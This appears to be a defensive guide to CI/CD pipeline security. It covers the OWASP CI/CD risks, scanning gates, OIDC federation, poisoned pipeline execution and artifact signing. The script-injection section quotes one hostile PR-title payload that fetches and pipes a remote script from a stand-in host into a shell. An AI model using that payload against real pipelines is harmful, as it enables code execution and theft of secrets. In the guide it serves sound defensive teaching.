From SDLC phases to pipeline controls
A secure software development lifecycle puts a security activity in every phase. A CI/CD pipeline is where most of those activities become automatic: the pipeline runs them on every change, records the result, and refuses to continue when one fails. The table maps each phase to what goes wrong, the control that stops it, and where that control runs.
| Phase | What goes wrong | Control | Runs in |
|---|---|---|---|
| Plan & design | Insecure design, missing requirements | Threat model, security requirements, design review | Outside the pipeline |
| Code | Secrets committed, unsafe patterns | Pre-commit hooks, IDE scanners, push protection | Workstation, Git server |
| Review | Vulnerable or malicious change merged | Branch protection, code owners, SAST, SCA, IaC scan | Pull/merge request pipeline |
| Build | Tampered build, poisoned dependency | Ephemeral runners, pinned dependencies, least-privilege tokens | CI |
| Test | Vulnerable artifact | Unit and integration tests, image scan, license policy | CI |
| Release | Unverifiable artifact | SBOM, signature, build provenance | CI to registry |
| Deploy | Unauthorized or wrong artifact deployed | Environment approvals, OIDC, signature verification | CD |
| Operate | New CVEs in running software | Scheduled rescans, dependency alerts, DAST, audit logs | Scheduled jobs, monitoring |
If you need to show compliance, NIST's Secure Software Development Framework (SP 800-218) groups the same practices into four families: PO prepare the organization, PS protect the software, PW produce well-secured software, and RV respond to vulnerabilities. Pipeline settings and pinning cover PS; scanners and review cover PW; scheduled rescans and alerting cover RV.
Threat model: the OWASP Top 10 CI/CD risks
The OWASP Top 10 CI/CD Security Risks list is the clearest threat model for a pipeline. Every control in the platform tutorials answers one of these ten.
| ID | Risk | What it looks like | Primary control |
|---|---|---|---|
| CICD-SEC-1 | Insufficient flow control | One person can push code that reaches production with no review or check. | Protected branches, required reviews and checks, deployment approvals |
| CICD-SEC-2 | Inadequate identity and access management | Stale accounts, shared admin users, personal tokens with full scope. | SSO, least privilege, access reviews, short-lived tokens |
| CICD-SEC-3 | Dependency chain abuse | Dependency confusion, typosquatted packages, hijacked maintainer accounts. | Lockfiles, scoped private registries, SCA, update cooldowns |
| CICD-SEC-4 | Poisoned pipeline execution (PPE) | A pull request edits the pipeline file or a script it runs, and the change executes with secrets. | No secrets for PR builds, protected pipeline files, required templates |
| CICD-SEC-5 | Insufficient pipeline-based access controls | Every job can read every secret and reach every environment. | Per-job permissions, environment-scoped secrets, separate runners |
| CICD-SEC-6 | Insufficient credential hygiene | Long-lived cloud keys in variables, secrets printed to logs. | OIDC federation, vaults, masking, push protection, rotation |
| CICD-SEC-7 | Insecure system configuration | Default settings, unpatched self-hosted runners reused between jobs. | Hardened org settings, ephemeral runners, patching |
| CICD-SEC-8 | Ungoverned use of third-party services | Marketplace actions and OAuth apps with broad access nobody reviewed. | Allowlists, SHA pinning, periodic review of grants |
| CICD-SEC-9 | Improper artifact integrity validation | Deploy picks up whatever image has the tag latest. | Sign and attest, deploy by digest, verify before deploy |
| CICD-SEC-10 | Insufficient logging and visibility | No record of who changed a pipeline or approved a deploy. | Audit log streaming, retained pipeline logs, alerting |
The security gates
A gate is a check that stops the pipeline when it fails. The catalog below lists each gate, where it belongs, what should make it fail, and what each platform offers natively. Paid features are marked: GitHub and Azure DevOps sell Secret Protection and Code Security separately, and most GitLab security features need Ultimate.
| Gate | Finds | Runs at | Fails when | Native options | Open-source options |
|---|---|---|---|---|---|
| Secret scanning | API keys, tokens, private keys in code and history | Pre-commit, push, PR, scheduled full-history scan | Any verified secret | GitHub and Azure DevOps Secret Protection with push protection; GitLab secret push protection and Secret Detection | gitleaks, TruffleHog |
| SAST | Injection, unsafe APIs, crypto misuse in your code | PR, default branch | New critical or high finding | CodeQL (GitHub Code Security, and in Azure DevOps Code Security); GitLab SAST | Semgrep CE, CodeQL CLI for open-source repos |
| SCA | Known-vulnerable or malicious dependencies, licenses | PR (diff only), scheduled | New critical or high with a fix; denied license | Dependency review and Dependabot; Advanced Security dependency scanning; GitLab dependency scanning (Ultimate) | OSV-Scanner, Trivy fs |
| IaC scanning | Misconfigured Terraform, Bicep, Kubernetes, Dockerfiles | PR | Critical or high misconfiguration | GitLab SAST-IaC; others via SARIF upload | Checkov, Trivy config, KICS |
| Container scanning | OS and language CVEs inside the image | After build, before push or release; scheduled | Fixable critical or high | GitLab Container Scanning; others via SARIF upload | Trivy, Grype |
| Pipeline lint | Script injection, risky triggers, excessive permissions in pipeline files | PR that changes pipeline files | Any injection finding | CodeQL actions language for GitHub | zizmor, actionlint, poutine |
| SBOM | Inventory of every component in the artifact | Build | Missing SBOM blocks release | GitHub SBOM attestations; GitLab CycloneDX reports | Syft, cdxgen, Microsoft sbom-tool |
| Signature and provenance | Artifacts not built by your pipeline | Release, and verified at deploy | Missing or invalid signature at deploy | GitHub artifact attestations; Notation with Azure Key Vault; Sigstore keyless signing with GitLab ID tokens | cosign, Notation |
| DAST | Runtime issues: auth flaws, headers, injection | Staging, after deploy | High finding on the changed surface | GitLab DAST (Ultimate) | ZAP |
Where to put scans
Run fast, diff-aware scans (secrets, SAST, SCA, IaC) on every pull request so authors get feedback before merge. Run artifact scans (image, SBOM, signing) once per build on the default branch. Run full rescans on a schedule, because new CVEs are published against code that has not changed.
Gate thresholds and exceptions
A gate that blocks on every medium finding gets disabled within a month. A gate that never blocks is a report. Start with a policy that blocks new, serious, fixable risk and tracks everything else. This is a common starting point; tune it to your risk appetite.
| Severity | Pull request | Default branch / release | Fix within |
|---|---|---|---|
| Critical | Block merge | Block release | 7 days |
| High | Block if a fix exists | Block if fixable | 30 days |
| Medium | Comment | Track | 90 days |
| Low / info | Report only | Track | Best effort |
Rules for exceptions
- Gate on new findings. Existing findings go to a backlog with owners, so turning a gate on does not stop all delivery on day one.
- Every exception has an ID, reason, owner and expiry date. Use the scanner's own mechanism so the exception is versioned and reviewed: CodeQL dismissal reasons, GitLab vulnerability dismissal reasons, or a Trivy ignore file.
- Exceptions are reviewed by code owners. Put ignore files under the same code-owner rule as pipeline files.
# Each exception says why, who owns it, and when it stops applying.
vulnerabilities:
- id: CVE-2026-12345 # example entry
paths:
- "usr/lib/libexample.so.3"
statement: "Not reachable: TLS renegotiation disabled. Owner: @payments-team (SEC-412)"
expired_at: 2026-12-31
Identity: replace stored secrets with OIDC
The biggest single improvement to most pipelines is removing long-lived cloud credentials. With OpenID Connect workload identity federation, the CI platform signs a short-lived token that describes the job, and the cloud exchanges it for an access token only if the job matches a trust rule you wrote.
- CI jobRequests an ID tokenThe job asks the platform's OIDC issuer for a signed JWT with a specific audience.
- CI platformSigns the claimsRepository or project, branch, environment and pipeline go into the token's claims.
- CI jobPresents it to the cloudEntra ID, AWS STS, Google Cloud or Vault receives the token.
- CloudChecks the trust ruleIssuer, audience and subject must match the federated credential exactly.
- CloudReturns a short-lived tokenValid for minutes to an hour. Nothing is stored, so nothing can leak later.
| Platform | Issuer | Subject to trust (example) | How the job gets a token |
|---|---|---|---|
| GitHub Actions | https://token.actions.githubusercontent.com | repo:contoso/payments-api:environment:production | permissions: id-token: write |
| Azure DevOps | Created for you on the service connection | One federated credential per service connection | Azure Resource Manager service connection using workload identity federation |
| GitLab CI/CD | https://gitlab.com or your instance URL | project_path:contoso/payments-api:ref_type:branch:ref:main | id_tokens: with an aud |
Watch out
- Never trust a wildcard subject such as a whole organization. Bind the production identity to one repository and the protected environment or branch.
- Use separate identities for build and deploy. The build identity can push to a registry; only the deploy identity can change production.
- Pull request jobs should not be able to obtain the deploy identity at all.
Untrusted input and poisoned pipelines
Anything a contributor controls is untrusted input: the code in a pull request, the pipeline file in that pull request, scripts the pipeline calls, and even the PR title, branch name and commit message. Three attack patterns cover most real incidents.
Direct PPE
Edit the pipeline file
The pull request changes the CI file to print secrets or call out to the internet. If PR builds run with secrets, the attacker has them.
Control: no secrets or write tokens in PR builds; approval before running fork PRs; code owners on pipeline files.
Indirect PPE
Edit what the pipeline runs
The pipeline file is protected, but it calls make, npm test or a shell script that the PR can change.
Control: the same isolation as direct PPE; install with lifecycle scripts disabled; run trusted logic from a protected template.
Script injection
Smuggle shell through metadata
A PR titled "; curl evil.sh | sh; # lands inside a run script through template expansion and executes.
Control: pass untrusted values through environment variables and quote them; never expand them into script text.
The same mistake has a different spelling on each platform. On GitHub it is ${{ github.event.pull_request.title }} inside run:. On Azure DevOps it is a macro such as $(System.PullRequest.SourceBranch) inside script:, because macros are substituted into the script text before it runs. On GitLab the shell expands $CI_MERGE_REQUEST_TITLE at run time, which is safe when quoted and dangerous inside eval or a generated script. The platform pages show the fix for each.
Artifact integrity: SBOM, signatures and provenance
Scanning tells you an artifact looked safe when it was built. Integrity controls let the deploy step prove that the artifact it is about to run is that same artifact, built by your pipeline from your source.
What is inside
SBOM
A machine-readable list of every package in the artifact, in SPDX or CycloneDX format. Generate it from the built image, not only from the lockfile, and keep it with the artifact. When the next major CVE lands, an SBOM search answers "are we affected?" in minutes.
Who built it
Signature
Sign the image digest, never a tag. Keyless signing (Sigstore) binds a short-lived certificate to the CI job's OIDC identity and records it in a public transparency log. Key-based signing (Notation or cosign with a cloud KMS key) suits private registries and regulated environments.
How it was built
Provenance
A signed statement of which source commit, pipeline and builder produced the artifact. SLSA defines how trustworthy that statement is. Verify it before deploy, and in Kubernetes enforce it with an admission controller such as Kyverno or Ratify.
SLSA build track levels
| Level | Requirement | How you get there |
|---|---|---|
| Build L1 | Provenance exists and describes how the artifact was built. | Any pipeline that emits a provenance document. |
| Build L2 | A hosted build platform generates and signs the provenance. | GitHub artifact attestations from a hosted runner. |
| Build L3 | The build platform is hardened: runs are isolated and the provenance cannot be forged by the build's own steps. | Signing from an isolated, centrally owned build definition, such as a GitHub reusable workflow. |
Rollout plan
Turning everything on at once floods teams with findings. This order delivers the largest risk reduction first and keeps pipelines green while gates mature.
- See what you have. Inventory pipelines, stored secrets, service connections and self-hosted runners. Turn on secret scanning with push protection; it has almost no false positives and stops the most common incident.
- Lock the platform. Set default token permissions to read-only, restrict allowed actions or tasks, protect default branches, and put pipeline files under code owners.
- Remove stored cloud credentials. Move deploys to OIDC federation and delete the old keys.
- Add scanners in report-only mode. Run SAST, SCA and IaC scans for two to four weeks, tune rules, and baseline existing findings.
- Make gates block. Fail pull requests on new critical and fixable high findings, using the threshold table above.
- Prove integrity. Add SBOM, signing and provenance, verify them at deploy, and schedule rescans.
- Centralize. Move the security stages into shared templates or policies so every repository inherits them and teams cannot opt out.
References
- OWASP Top 10 CI/CD Security Risks
- NIST SP 800-218, Secure Software Development Framework
- SLSA v1.0 security levels
- Sigstore documentation
- OpenSSF Scorecard
- CycloneDX and SPDX
Next: pick a platform. GitHub Actions · Azure DevOps · GitLab CI/CD